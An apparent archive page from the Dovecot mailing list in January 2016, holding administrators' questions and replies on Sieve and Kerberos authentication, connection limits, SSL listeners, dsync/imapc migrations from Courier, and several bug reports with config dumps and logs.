when i telnet to the sieve instance running with dovecot, i see that SASL is supported, but i cannot get thunderbird to connect to the sieve instance. it seems that i am not providing the right auth methods for sieve to work. "IMPLEMENTATION" "Dovecot Pigeonhole" "SIEVE" "fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate" "NOTIFY" "mailto" "SASL" "" "STARTTLS" "VERSION" "1.0" OK "Dovecot ready." i am setup with gssapi and pain auth mechanisms and want to leverage Kerberos / SASL for authentication. what do i need to enable (and where) to get sieve working in a MUA? i tried adding the digest-md5 mechanism to the auth_mechanisms directive, but that does not work with Kerberos (or maybe my implementation of Kerberos in my environment). any ideas where i should be looking? thanks brendan

3 2

remote | local blocks in protocol settings
by Nikolaos Milas 20 Jan '16

20 Jan '16

Hello, Where can I find detailed documentation on how "remote" & "local" blocks are used in protocol configuration to provide specific settings for particular IPs/Names? I've been searching around (wiki2, Google) but I found very few things. I also checked in the conf.d directory of the installation and couldn't find anything. One useful thread was here: http://www.dovecot.org/list/dovecot/2010-June/050069.html where we can read about the "filter" hierarchy: protocol name { remote <ip|name> { local <ip|name> { but I would really appreciate reading more complete documentation (and, hopefully, examples). Thanks, Nick

3 8

Re: remote | local blocks in protocol settings
by Joseph Tam 19 Jan '16

19 Jan '16

Nikolaos Milas <nmilas(a)noa.gr> wrote: >> ... >> Pragmatically, I set it high enough so that it meets the need of most >> clients, then deal with problems on a case by case basis >> ... > > Thank you very much Joseph for your quite useful advice and experience. > Are you monitoring using "doveadm who"? No, I occasionally look at log entries for "Maximum number of connections from user+IP exceeded" errors. I may look at the output of "doveadm who" if I want to see a breakdown of how many clients a user is using, or just getting an overall view of how my users are spread out. >>> 4. How can we set a different value to this directive for webmail >>> connections (coming from 127.0.0.1, ::1)? >> >> I don't know if there is another method, but at the very least, you >> can start another dovecot instance with another config file that does >> specific things for 127.0.0.1. > > I tried using a remote block for webmail, but without success yet. If you can get that working, that would be the better method. Running 2 different instances with 2 different config files might come in handy for cases where you have very different policies between localhost/remote networks. Joseph Tam <jtam.home(a)gmail.com>

1 0

Re: Increasing mail_max_userip_connections and sys resources
by Joseph Tam 19 Jan '16

19 Jan '16

> In our low-traffic server we have always kept the default value for IMAP > mail_max_userip_connections (10). > > The server has been working fine! (Thank you Timo for this!) > > However, recently we have been having: > > Maximum number of connections from user+IP exceeded > > errors both for IMAP and webmail users. > > Thus, we have now changed the value to 100. > > The questions: > > 1.Might this lead to overloading the server? > 2. Could another dovecot setting prevent the above setting from being > applied (e.g. due to connections exhaustion), i.e. should we also change > other setting(s)? > 3. What should we take into account when deciding the value for > mail_max_userip_connections? It depends on how many users you have, the number of simultaneous clients they use, and the #connections each client opens. Potentially, you could exhaust connection limits -- they usually don't max out memory or CPU or disk since most of the connections are idle. (There is a new IDLE hibernate feature that might help to minimize memory use by idle imap worker processes.) I haven't found a value that gets rid of users running into connection limits. If I set it to n, the next day someone will choke on n+1. This is a snapshot connections (count : #connections) which shows the typical decay: 25 1 14 2 14 3 7 4 9 5 1 6 2 7 1 8 1 10 Occasionally, some user's connection demand will spike and exceed the limit because - they started yat another client - they started global operation like searching - they're using a network that support roaming IP (I've tracked some users across the city on their bus ride.) Pragmatically, I set it high enough so that it meets the need of most clients, then deal with problems on a case by case basis (e.g. get them to lower their mail client's idle connection setting, or asking them to reduce the number of active clients by logging out). It also prevents what this setting was designed for: connection starvation by busy/buggy clients. Usually, hitting the limit doesn't produce problems as mail clients are smart enough to close idle connections or reuse them. If you only got a dozen users, setting it to 100 is feasible. If you got 1000 users, probably not. > 4. How can we set a different value to this directive for webmail > connections (coming from 127.0.0.1, ::1)? I don't know if there is another method, but at the very least, you can start another dovecot instance with another config file that does specific things for 127.0.0.1. Joseph Tam <jtam.home(a)gmail.com>

2 1

Re: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0)
by Timo Sirainen 19 Jan '16

19 Jan '16

> On 04 Jan 2016, at 09:58, Florian Pritz <bluewind(a)xinu.at> wrote: > > On 04.01.2016 15:49, Timo Sirainen wrote: >> What about: >> >>>> #5 0x000000000041dde6 in client_check_command_hangs (client=0x2363450) at imap-client.c:841 >>>> cmd = 0x0 >>>> unfinished_count = 0 >>>> have_wait_unfinished = true >>>> __FUNCTION__ = "client_check_command_hangs" >> >> Either the new code that's detecting hanging-bugs is somehow broken or it's actually preventing a hang by crashing instead, in which case the bug is elsewhere.. > > Output below. > > Sending a private mail because I don't know what that session ID in the > output can be used for. The session ID is harmless. Anyway, I'm having trouble figuring out how the crash could happen or how to reproduce it. According to the backtrace it seems like the client is running IDLE and then it sends "DONE\r\nNOOP\r\n" in same IP packet. But when doing that, I don't see a crash. Although during testing I did find several other bugs. Could you try patching and seeing if you still get the same crash after them? Or have you seen the crash after the initial few times? https://github.com/dovecot/core/commit/1ddf959a750f3860feff4ab3f0e908f32740… https://github.com/dovecot/core/commit/c8e9fa2ffa2566e75f0500808b1bc9bf5d9d… https://github.com/dovecot/core/commit/15307c2c91854e766bd9fb095d611a29b3f7… https://github.com/dovecot/core/commit/c7801f830c7d2e7d340065cdd5a5c795b172…

3 3

Temporary Lookup Failure
by Brad 18 Jan '16

18 Jan '16

Hi All, Have a CentOS 7, dovecot and postfix setup. Can get mail via 995 SSL/TLS Can send mail to virtual users and auto creation works using /etc/dovecot/passwd file via mail command. Using the dovecot lmtp and can login via 465 but the user lookup fails via postfix. in postfix main.cf have virtual_transport = lmtp:unix:private/dovecot-lmtp in dovecot.log I am seeing no errors in dovecot-info.log no errors either in maillog I am seeing: postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable open database /etc/postfix/virtual.db No such file. Note: I did go through creating the virtual.db and associated files but figured that it cant be correct as I want lmtp to handle it and it didn't work anyways, so I removed it. NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 <user@domain> Temporary lookup failure from=<user@domain> to=<user@domain> proto=ESMTP helo=<localhost.localdomain> -- obfuscated Tried every article I could find on the Internet to resolve this with out much luck. Any pointers would be greatly appreciated or if you need specific config details just let me know. Thanks, Brad

4 6

Dovecot doesn't listen on port 143, 993 in SSL
by 남설 18 Jan '16

18 Jan '16

Dear Dovecot Team First of all, I always appreciated your contribution & effort. Dovecot is very good tool for me for a while since my 2 years Linux start. But, 3 days ago, I upgraded my ubuntu 15.04 to 15.10 Then, I realized that my dovecot mail sever didn't work. So I simply terminated all the packages and reinstall it. It means I can't remeber what my previous setting was in my memory. So, dovecot in run is ver 2.2.18 now. Dovecot -n shows below and there is no "SSL" option. then all the port 143, 993 opens(It's not accesible somehow from clients but it's next matter) ----------------------No SSL version------------------------ auth_mechanisms = plain login mail_location = maildir:~/Maildir namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } protocols = " imap" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } userdb { driver = passwd } ----------------------------------------------------------- But, If I turn on SSL option with encrypt key and certicate, all port 143, 993 just disappeared. I treaded this issue in ubuntu ASK but still no proper answer so far http://askubuntu.com/questions/722072/dovecot-doesnt-listen-on-993imaps --------------------------SSL option version---------------- auth_mechanisms = plain login mail_location = maildir:~/Maildir namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } protocols = " imap" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } *ssl_cert = </etc/dovecot/dovecot.csr>** **ssl_key = </etc/dovecot/private/dovecot.key>* userdb { driver = passwd } -------------------------------------------------------------- Looing forward your reply Thanks in advance

3 2

mmap failed
by ＠lbutlr 18 Jan '16

18 Jan '16

Error: mmap() failed with file /home/user/Maildir/.Archive/dovecot.index.cache: Cannot allocate memory I have default_vsz_limit = 512 M in my conf file. (This error only occurs with a single user’s .Archive index, but that user has over 400,000 files int eh Archive mailbox) -- Let him who desires peace, prepare for war.

2 1

doveconf syntax question
by A. Schulze 18 Jan '16

18 Jan '16

Hello, I have one sieve extension enabled: /etc/dovecot/conf.d/20-sieve.conf: plugin { sieve_extensions = +vacation-seconds } now (months later) we want to enable an other extension. no big deal: /etc/dovecot/local.conf: plugin { sieve_extensions = +editheaders ... } This was wrong. We ASSUMED the plus would add the extension to the list. But at the end only +editheaders was activ. What's the right way to /add/ sieve_extensions from different config files? our guess "sieve_extensions = $sieve_extensions +editheaders" do not work: doveconf -a | grep sieve_extensions doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions doveconf: Error: managesieve-login: dump-capability process returned 89 doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions Andreas

2 2

Running without anvil?
by Dave Abrahams 18 Jan '16

18 Jan '16

Hi, I'm using dovecot as a local mail store on my laptop using preauth tunneling. It turns out I almost don't even need to start dovecot at all; the only reason it needs to be running is so that FTS indexing can be invoked. And because I don't want it to run any services, I can run it as an unprivileged user, so long as I turn them all off: # We don't want to serve any protocols, so we don't bind to any ports. # We can run everything as me. protocols = default_login_user = dave default_internal_user = dave The only thing is, I keep getting these in var/log/mail.log: anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) failed: Operation not permitted master: Error: service(anvil): command startup failed, throttling for 60 secs auth: Error: read(anvil-auth-penalty) failed: EOF Any suggestions? TIA, Dave

3 5

sieve - configuration problem
by Hajo Locke 18 Jan '16

18 Jan '16

Hello List, first thanks for previous hints, you helped me a lot. Unfortunately i have new problem with sieve and executing multiple scripts sequentially. This is current conf which is complete working : #CONF1 plugin { sieve = ~/sieve/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } i also activated managesieve which is working as well. Now iam looking for a way to run individual scripts for users. My idea is to have a system generated script which may run before or after the personal script. Additional the system scripts should not be viewed or changed by mailusers. So i tried with directives sieve_before and sieve_after: #CONF2 plugin { sieve = ~/sieve/.dovecot.sieve sieve_before = ~/sieve_before/.dovecot.sieve sieve_after = ~/sieve_after/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } every single script "~/sieve/.dovecot.sieve", "~/sieve_before/.dovecot.sieve" and "~/sieve_after/.dovecot.sieve" contains a small rule to add a new mailheader (X-Before, X-After, X-Middle) so i can watch what happens. The problem is: Every single script is working, but only when this directive is the only one which is activated in conf. As soon as i enable another directive absolut nothing is happen. It does not matter which combination of directives (sieve|sieve_before_sieve_after) is enabled or disabled. Just as a second one is enabled sieve seems to do nothing. Mail is delivered by lda but no songle one headerentry is added. What happens here and how to solve this? Currently i use dovecot 2.2.21 and sieve 0.4.11 Thanks, Hajo

2 2

Dockerfile for building latest github version
by KT Walrus 16 Jan '16

16 Jan '16

Is there a Dockerfile for building/installing the latest Dovecot version in a Docker Image? I don't see Dovecot in the Official Repositories on the Docker Hub like almost all the other popular open source software packages that I use. Why no Official Docker repo for Dovecot? All the user contributed repos containing Dovecot in the Docker Hub seem to just install from a distribution’s repo (like Ubuntu 14.04) but these packages seem to lag the most recent version of Dovecot that I see in GitHub. Kevin

1 0

Corrupted index cache file - migration with zlib
by Leon Kyneur 15 Jan '16

15 Jan '16

Hi I'm migrating some mailboxes from an old dovecot system where mailboxes are stored maildir uncompressed. I enabled zlib on the new system and migrated an account: doveadm -o mail_fsync=never backup -R -u tonyg imapc: when the account connects to the new system after a while i'm seeing the following error and the mailbox is no longer functioning: Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox INBOX UID 61 got too little data: 4106341 vs 6054268 Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: Corrupted index cache file /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: Broken virtual size for mail UID 61 Jan 15 13:58:06 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 Jan 15 13:58:06 S611 dovecot: auth-worker(6130): ldap(tonyg,144.132.1.90): unknown user Jan 15 13:58:06 S611 dovecot: imap-login: Login: user=<tonyg>, method=PLAIN, rip=144.132.1.90, lip=203.134.11.127, mpid=6746, secured, session=<7qqWklYpnGjLhgHK> Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox INBOX UID 61 got too little data: 4106341 vs 6054268 Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: Corrupted index cache file /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: Broken virtual size for mail UID 61 Jan 15 13:58:07 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 If i migrate the account without zlib everthing works fine and the error can't be reproduced. I have tried force-resync and index commands to no avail. Any ideas what's going on here? doveconf -n: [root@S611 532868]# doveconf -n # 2.2.21 (5345f22): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (6ddf62b87f60+) # OS: Linux 3.10.0-327.4.4.el7.x86_64 x86_64 CentOS Linux release 7.2.1511 (Core) auth_debug = yes auth_verbose = yes imapc_features = rfc822.size fetch-headers imapc_host = removed imapc_master_user = removed imapc_password = # hidden, use -P to show it imapc_user = %u lmtp_proxy = yes login_trusted_networks = 192.168.10.0/24 mail_debug = yes mail_gid = vmail mail_location = mdbox:%h/mdbox:ALT=/altstorage%h/mdbox mail_plugins = quota zlib mail_prefetch_count = 50 mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate mime foreverypart mdbox_rotate_size = 10 M namespace inbox { inbox = yes location = mailbox "Deleted Messages" { special_use = \Trash } mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } passdb { args = /etc/dovecot/dovecot-ldap-m2core.conf.ext driver = ldap } plugin { quota = dict:User quota::file:%h/dovecot-quota sieve = file:~/sieve;active=~/.dovecot.sieve zlib_save = gz zlib_save_level = 6 } pop3c_host = <removed> pop3c_password = # hidden, use -P to show it service lmtp { inet_listener lmtp { address = <removed> port = 24 } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem verbose_proctitle = yes protocol imap { mail_plugins = quota imap_quota imap_zlib }

2 2

Courier generates new UIDVALIDITY
by Peer Heinlein 15 Jan '16

15 Jan '16

We just detected, that under some circumstances Courier-IMAP will generate a new UIDVALIDITY for every access to an IMAP-folder, if the folder had been created by a simple "mkdir" and not with maildirmake. Courier doesn't save his uidvalidity-file in this case. Courier DOES generate a sticky UIDVALIDITY after the first "real" access by a User through the IMAP-SELECT-command. That's why this problem isn't a "real" problem in the world. Courier does NOT create this IMAP-UIDVALIDITY if the user just uses POP3-access, because there the UIDVALIDITY isn't used. We have a migration scenario where we have many users with POP3-only access (so that they DO have many mails in der INBOX) and an incremental migration trough doveadm/dsync/imapc fails (caused by consequently changing UIDVALIDITYs). doveadm just uses the IMAP EXAMINE command to open the source IMAP-folder on the Courier's side readonly. Courier DOES handle this access "readonly" and doesn't consequently doesn't generate a UIDVALIDITY-file. Instead Courier uses random UIDVALIDITYS by every access and doveadm always has to copy all mails (and duplicates them if "-1 -R" is used!). To fix this problem and to make a migration and/or doveadm backup/sync much more reliable Dovecot should open the source folder with a SELECT command instead. (Maybe one SELECT and then change to EXAMINE, if you think EXAMINE would be more safe.) Maybe this is also relevant for a real permanent imapc-situation, where Dovecot/imapc is used to fix broken IMAP-implementations from an older backend. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

2 1

doveadm/dsync/imapc loose folder subscriptions
by Peer Heinlein 15 Jan '16

15 Jan '16

As I already wrote some days ago we're actually running a huge migration using doveadm/dsync-backup/imapc: doveadm -o imapc_user="$UNAME1" -o imapc_password="$PWORD1" -o imapc_host=$SERVER1 -o pop3c_user="$UNAME1" -o pop3c_password="$PWORD1" -o pop3c_host=$SERVER1 -D -v backup -R -u "$UNAME2" imapc: We just noticed that doveadm looses changes in folder subscriptions if a folder is copied again. a) Copy a mdbox-home of a user (using doveadm backup...) b) Change his subscriptions on the source-side OR change his subscripts on the destination-side OR delete his subscriptions-file. c) Copy that mdbox-home from that user again (using doveadm backup...) doveadm will copy & merge his mails, but he does NOT check for changes in folder subscriptions. As you can see in the attached logs, doveadm nitices changes in subscriptions: dsync(p100490p11): Debug: brain S: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=yes last_change=0 last_subs=0 dsync(p100490p11): Debug: brain M: Local mailbox tree: INBOX.Trash guid=b36f688eae08506001091708006abe5a uid_validity=1368084367 uid_next=1206 subs=no last_change=1448903088 last_subs=1448177531 but doesn't fix the subscriptions list: dsync(p100490p11): Debug: brain M: Mailbox INBOX.Trash: local=b36f688eae08506001091708006abe5a/1448903088/1, remote=b36f688eae08506001091708006abe5a/0/1: Mailboxes are equal Even a deletion of the subscriptions file doesn't work. doveadm does not create a new subscription file. This bug is heavy, because incremental backups made by doveadm backup aren't complete and reliable any more. Our biggest problem ist, that we changed the folder prefix and doveadm does change the folder names, but not the subscriptions. So we have several hundred thousand users with broken subscriptions (yes, sed can fix this, I know, but also we'd kill changes made by users during migration period). Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

2 2

Increasing mail_max_userip_connections and sys resources
by Nikolaos Milas 15 Jan '16

15 Jan '16

In our low-traffic server we have always kept the default value for IMAP mail_max_userip_connections (10). The server has been working fine! (Thank you Timo for this!) However, recently we have been having: Maximum number of connections from user+IP exceeded errors both for IMAP and webmail users. Thus, we have now changed the value to 100. The questions: 1.Might this lead to overloading the server? 2. Could another dovecot setting prevent the above setting from being applied (e.g. due to connections exhaustion), i.e. should we also change other setting(s)? 3. What should we take into account when deciding the value for mail_max_userip_connections? 4. How can we set a different value to this directive for webmail connections (coming from 127.0.0.1, ::1)? The config follows for your reference (I've only changed the real domain name). Thanks in advance for your help. Nick ----------------------------------------------------------------------------- # doveconf -n # 2.2.18: /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.8 # OS: Linux 2.6.18-407.el5 x86_64 CentOS release 5.11 (Final) auth_mechanisms = plain login auth_verbose = yes disable_plaintext_auth = no dsync_remote_cmd = ssh -l root vmail1.example.com doveadm dsync-server -u%u mail_gid = 500 mail_location = maildir:~/Maildir/ mail_plugins = quota mail_log notify replication mail_uid = 500 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate passdb { args = /etc/dovecot/dovecot-passdb-ldap.conf driver = ldap } plugin { mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename mail_log_fields = uid box msgid size mail_replica = remote:vmail@vmail1.example.com quota = maildir:User quota quota_rule = *:storage=5G quota_rule2 = Trash:storage=+3%% quota_warning = storage=75%% quota-warning 75 %u quota_warning2 = storage=90%% quota-warning 90 %u } protocols = imap pop3 service aggregator { fifo_listener replication-notify-fifo { user = vmail } unix_listener replication-notify { user = vmail } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0660 user = vmail } user = root } service imap-login { service_count = 1 vsz_limit = 64 M } service imap { executable = imap postlogin } service pop3-login { service_count = 1 vsz_limit = 64 M } service pop3 { executable = pop3 postlogin } service postlogin { executable = script-login -d rawlog } service quota-warning { executable = script /opt/mail1.sh unix_listener quota-warning { user = vmail } user = vmail } service replicator { process_min_avail = 1 unix_listener replicator-doveadm { mode = 0600 } } ssl_ca = </etc/pki/tls/certs/chain-1552.pem ssl_cert = </etc/pki/tls/certs/cert-1552.pem ssl_key = </etc/pki/tls/private/key-1552.pem ssl_protocols = !SSLv2 !SSLv3 syslog_facility = local1 userdb { args = /etc/dovecot/dovecot-usrdb-ldap.conf driver = ldap } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 100 mail_plugins = quota imap_quota notify replication } protocol pop3 { mail_max_userip_connections = 3 mail_plugins = quota notify replication pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_uidl_format = %08Xu%08Xv } protocol lda { auth_socket_path = /var/run/dovecot/auth-master info_log_path = log_path = mail_plugins = quota notify replication postmaster_address = sysadmin(a)example.com sendmail_path = /usr/lib/sendmail } ------------------------------------------------------------------------------------

2 3

doveadm/dsync/imapc and foldernames including a "%"
by Peer Heinlein 14 Jan '16

14 Jan '16

We're using doveadm/dsync/imapc to migrate accounts from Courier to Dovecot 2.2.20. On the source-server some user have folder names including a "%" in their name. Looks like doveadm isn't able to handle that folder names. I always stops with: dsync(testtest): Error: Failed to access mailbox INBOX.Test%TEST: Mailbox does not exist, or must be subscribed to. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

2 2